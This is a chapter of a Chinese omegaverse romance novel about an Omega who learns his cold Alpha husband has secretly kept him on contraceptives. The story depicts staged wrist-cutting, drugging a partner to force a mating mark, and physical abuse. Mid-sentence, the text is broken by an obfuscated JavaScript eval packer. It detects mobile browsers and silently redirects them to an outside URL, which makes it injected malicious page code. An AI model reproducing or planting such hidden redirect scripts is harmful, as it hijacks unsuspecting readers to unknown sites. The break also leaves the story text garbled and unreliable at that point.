钟映很清楚他的Alpha丈夫并不爱他，甚至可以说，厌恶他。
但真正让这种认知深刻到刺骨的，莫过于此刻他茫然地坐在医院外的长椅上，手里拿着路霆美其名曰给他买的“营养品”。
他和路霆结婚四年，前段时间钟家还在施压，说是时候该怀上一胎了。
钟映也不是没想过，如果他们有孩子，路霆会不会多看他一眼。
按照钟映平日里偷偷动的手脚，他本该早早怀上路霆的孩子。可这么久过去，却始终没有动静。
他独自去了医院做检查。医生拿着报告单，神色古怪地打量他：“你想怀孕，为什么还长期服用避孕药？”
钟映茫然地抬起头：“我没有……是不是弄错了？”
医生语气笃定地说绝不可能出错，转而问他平日里是否在服用其他药物。钟映想起路霆给他买的那些“营养品”，那是他每天都会按时吃下去的东西。
其他的他连维生素C都没吃。
他一直以为，那是路霆终于开始关心他的身体才特意准备的。
所以他从未怀疑过，每天都认真服用。
他拿给医生看，检测结果出来的时候他还抱着最后一丝希望问：“我老公说这是补充营养的。”
医生沉默片刻，声音冷静：“这是专门给Omega设计的强效避孕药。你服用多久了？”
钟映张了张嘴，声音发干：“……四年。”
“结婚多久了？”
“……四年。”
医生投来一道怜悯的目光，语气委婉却清晰：“这种药相比其他避孕药物其他不良副作用几乎没有，比如头晕发胖，但是唯一影响的可能就是Omega受孕率。现在停药，好好调养身体，怀孕的希望还是很大的。”
“回去跟你的Alpha好好沟通一下吧。”
可钟映听懂了那话里的深意，他以后很可能，再也不会有孩子了。
眼眶瞬间就红了。
他不明白，路霆为什么要这样对他。
像钟映这样名声有瑕的Omega，原本是绝无可能嫁给路霆的。全因父辈早年间定下的一纸姻亲，才勉强拴住了这段婚事。
四年前，路霆即将奔赴前线。所有人都以为他注定要死在战场上。路家松口、了却一桩责任，他根本没挑，匆匆忙忙就和钟映结了婚。
钟映就这么跟着他去了战场，成了随军家属。
前线的日子是真的苦，风沙裹着硝烟味，物资紧缺，时刻提心吊胆。可两年后，路霆竟带着一身赫赫军功活着回来了，一时风头无两，如今更是帝国炙手可热的新贵。
路霆越是耀眼，就越是衬得他身边的Omega配不上他。
事实的确如此，钟映十六岁那年就因持械伤人进了管教所，一关就是整整一年。出来之后依旧不学无术，整天游手好闲，仗着那张漂亮脸蛋和家世横行霸道，娇纵任性得近乎愚蠢。圈里人私下都说，他不过是个空有皮囊的草包，内里早就烂透了。
钟映独自坐在医院冷白的走廊长椅上，指尖拿着报告压得发白。
他忽然想起路霆曾冷笑着对他说过绝不可能让他的孩子，有钟映这样的Omega家长。
他原以为那只是一时气话。
却没想到，路霆是从一开始，就没打算让他有孩子。
钟映离开医院时，正撞见一家三口从他身边经过。一个扎着羊角辫的小丫头骑在Alpha父亲的肩头，奶声奶气地嘟囔着不想打针，一旁的Omega母亲温柔地哄着“不打不打，我们回家吃糖”。
钟映脚步顿了顿，目光不自觉地追着那画面，眼底流露出难以掩饰的羡慕。
恐怕他这一生，都不会有这样的机会了。
＊
他推开门，第一眼就看见玄关处那双被随意踢开的黑色皮鞋，路霆提前结束了出差。
钟映沉默地将那份轻飘飘却重如千钧的检查报告折成小块，塞进抽屉最深处。随后他弯腰拾起路霆扔在门口的大衣，刚要将它拢进怀里送去清洗，却猝不及防地被领口处一股陌生而甜腻的Omega信息素刺中了鼻腔。
那气味是玫瑰蜜，带着一股黏腻感，死死缠在羊毛纤维的每一寸缝隙里。
根本不需要想象。
这气味本身就是最直白的背叛宣言。
钟映猛地僵在原地，手指死死掐进大衣布料，冰冷的寒意从脚底窜上脊背。
钟映整个人僵在原地，他像被钉在冰冷的地板上，连血液都凝固了。
脑海中一片空白。
他早知道路霆外面有人，甚至曾亲眼见过对方当着他的面与别人亲热。他以为自己早就麻木了，可这一刻还是痛得浑身发抖，痛得胃里翻搅，几乎要弯下腰干呕。
他不是没有闹过，曾经用最极端的方式，划破腕脉来留住这段婚姻，鲜血像蜿蜒的蛇一样爬满浴室地。
当医生平静地说出“避孕药”三个字时，钟映他也想过当面质问路霆。可那念头只是一闪而过。除了自虐般地再听一句“那我们离婚好了”，他还能得到什么？他又能埋怨什么？
路霆只是不爱他。
从始至终，坦荡又残忍。
不爱一个人，算什么错呢？
这段岌岌可危的婚姻对路霆而言从来束缚又多余。只有钟映还在固执地坚持，傻傻地以为时间能改变什么，可岁月流转，只有路霆始终不曾爱过他分毫。
钟映只能眼睁睁看着自己的丈夫越走越远，他自己也渐渐被磨去了所有心气，像一块被反复冲刷的石头，失去了最初的棱角。
他不是没想过“那就离婚好了”，或许彼此都能解脱。
可这念头刚冒出来就被他自己狠狠按了回去。
因为从始至终他根本没有选择的资格。
钟映收拾屋子花了些时间，他们没有请阿姨，钟映没工作，家里的一切琐碎便都落在他手上，他把路霆随意丢在沙发上的几本外文军事杂志理齐，厨房正在炖一锅山药排骨汤。
汤在锅里咕嘟冒泡时，主卧的门锁传来轻响。
路霆穿着深灰色家居服走出来，衣料柔软却衬得他身形愈发挺拔。额前黑发有些过长，但不会遮住眉眼，却高挺鼻梁投下的那道冷淡阴影。
他的唇很薄，抿成一道没有弧度的线，整个人裹着一股生人勿近的冷峻。
他甚至没有看钟映一眼，径直绕过流理台走向洗手台。水流声哗然响起，他垂眼搓洗双手，对待钟映比陌生人还要生分。
钟映怔怔地望着他，片刻后才垂下眼睫，无声地走到餐桌旁。他拿起汤勺，舀了一碗还冒着热气的汤，轻轻放在路霆面前，自始至终没有说一句话，只是安静地坐回自己的位置，低头拿起筷子。
曾几何时，他总会在饭桌上试着找些话题，或许是问路霆工作是否顺利，又或者聊聊新闻里看到的趣事。而路霆往往只是抬起那双没什么情绪的眼睛，眉头微挑，用听不出波澜的声线扔过来一句：“吃饭不要说话。”
那么冷，那么淡。
于是钟映就只能抿住嘴唇，把还没说出口的字句咽回去，一顿饭吃得安静又小心。
其实结婚之前，钟映连炒蛋都会糊锅。路霆从不回家吃晚饭，部队食堂永远供应充足。可他还是执意系上围裙，从切菜开始学起。手指被刀锋划破过，手背溅起油点是常事，他对着菜谱一遍遍调整火候，慢慢地，才能把一道汤炖出恰到好处的香气。
他现在做得很好，所以路霆才会回家吃饭。
钟映曾经以为，日复一日的付出与妥协总能焐热一点什么。
可路霆的心是万年玄冰，凿不穿、融不化。这么多年过去，他看他的眼神依旧如初，冷淡、审视，甚至带一丝不易察觉的讥诮，仿佛他就一直是那个不学无术的Omega。
饭后，钟映收拾完碗筷，水流声戛然而止。
钟映想起钟浦涛在电话里的嘱咐，他擦干手，走到客厅。路霆正拿起外套准备出门，背影挺拔而冷硬。
钟映终于鼓起勇气，声音不高，却清晰地划破了沉寂：“老公，我们要不要有个孩子？”
路霆动作顿住，随即转过身来，眼神又冷又嘲，从上至下扫过钟映微微发白的脸。
“你觉得，”他语速不快，“我可能让我的孩子，有你这样一个Omega父亲吗？”
他向前半步，目光压得人几乎喘不过气。
“还是说，”他轻笑一声，“这又是你不想离婚的新把戏？”
钟映看着他脸上那毫不掩饰的讥诮与冰冷，仿佛被一记无形的耳光狠狠扇在脸上，火辣辣地疼。
他太熟悉这种眼神了，路霆一直是这样看他的。看他像个满嘴谎言、头脑空空的蠢货，看他像个用尽手段也要赖在这场婚姻里的笑话。
如果不是还顾忌着钟家那点最后的脸面，以路霆那样决绝狠厉的性格，恐怕早就忍不住掐死他了吧。
钟映不是不记得，结婚刚满第二年的时候，路霆就曾面无表情地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345611|183512||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
扔给他一份离婚协议。那时他还能放下所有尊严，死皮赖脸地求他，红着眼眶拽他的袖口，一遍遍说“老公，我们再试试吧”。
路霆最终没再坚持，但那不是心软，只是懒得纠缠。
而第二次，路霆的态度彻底冷了。他把新的协议放在桌上，语气没有任何余地。那天晚上，钟映用颤抖的手拿起刀片，在浴室里割了下去。鲜血染红水面的时候，他脑子里空荡荡的，只剩下一个念头：只有这样，才能留住他。
事情闹得很大，他被抢救回来，消息也传到了路老太太耳朵里。
老人从老宅赶来，把路霆教训了一顿，说像什么样子，一句话就压下了所有风波。
婚，最终又没有离成。
可路霆从那之后，再也没正眼看过他。
钟映曾经天真地以为，只要他努力得足够久、付出得足够多，总有一天路霆会看见他的好。
他总相信是自己做得还不够，才没能融化对方眼中的冰层。他笨拙地示好，小心翼翼地靠近，甚至说服自己，一切都会好起来的，路霆只是需要时间。
后来他才明白，这想法本身就已愚蠢透顶。
他以为死缠烂打是深情的表现，却不知道那只会把对方推得更远，让自己变得更加不堪和令人厌烦。
路霆打量着他骤然苍白的脸色，语气平淡地说：“奶奶过完生日，我们就去把婚离了吧。”
钟映几乎是下意识伸手拉住他的袖口，指尖微微发抖：“路霆，我们最近不是好好的吗？我不会再像以前那样不懂事了……我也不会干涉你任何事。我们不离婚，行吗？”
话还没说完，路霆突然猛地一甩手，力道又狠又急，钟映根本站不稳，整个人重重跌倒在地。
他还没反应过来，路霆已经掐着他下巴，逼他抬起头。那双眼睛里没有半分温度，只有赤裸的厌恶和警告：“你这套戏码还没演够？如果这次还想死，记得死远一点，别让我看见。”
说罢，路霆就松开了手，迅速抽身。他甚至没再多看钟映一眼，转身径直朝外走去。
钟映仍跌坐在地，手指无意识地按在冰冷的地砖上，一动未动，只觉得这屋子里弥漫的冷意，竟比深冬的寒风还要刺骨。
他缓缓抬起左手，目光落在腕间那道淡粉色的疤痕上，那是上一次他亲手划下的痕迹，静静趴伏在皮肤上。
他忽然极轻地笑了一下，嘴角扯起的弧度苦涩而自嘲。
他自然不是真的想死。
他算准了时间，拿捏着力度，他要的就是被人发现时那副脆弱狼狈的模样，路霆看见他的时候也的确慌了，死死按住他的手腕带他去医院，说不离婚。
钟映要的就是路霆那一点微不足道的同情和心软。
可疼也是真疼。
刀刃划下去的瞬间，那种尖锐的、撕裂般的痛楚是真实的。
而现在，每一次呼吸间心口传来的滞重与酸涩，也是真实的。
说到底，也是他自己咎由自取。
就连路霆标记他，也是他精心设计的一场局。那是路霆因重伤高烧神志不清的夜晚，钟映在水里掺了药，颤抖着靠近。
他清楚自己在做什么，也清楚事后将要面对什么，可他依旧解开了对方的衣扣，任由滚烫的呼吸烙在自己颈间。
第一次标记的过程生涩而粗暴，疼得他蜷缩指尖，指甲深深掐进掌心。
可在那一片灭顶的痛苦中，钟映却诡异尝到了一丝扭曲的甜，仿佛短暂地拥有了这个永远不可能属于他的人。
路霆醒来后，看清眼前的一切，眼神几乎要将他剐碎。他一把掐住钟映的脖子，手背青筋暴起，是真的下了死力。那一刻钟映几乎以为自己会死在他手里。
那时候的钟映，为了能让路霆多看自己一眼，为了那一点点虚无缥缈的爱，确实无所不用其极。如今尝尽苦果，他也只能默不作声地往下咽。
他只是没料到，路霆会恨他到这种地步，不仅厌恶到不愿让他孕育自己的孩子，甚至要摧毁他的身体和仅剩的尊严。
路霆太了解怎么伤他了。
一句话，一个眼神，一次比一次更狠。
而这一次，钟映终于连从地上爬起来的力气都没有了。
钟映有时会想，如果当初没有被路霆从前线救下的那一刻冲昏头脑，如果他没有因此无可救药地动了心，而是只把他当作一个冷淡的联姻对象。
是不是现在所遭受的一切，只会是身体的痛，而不会痛到心口上。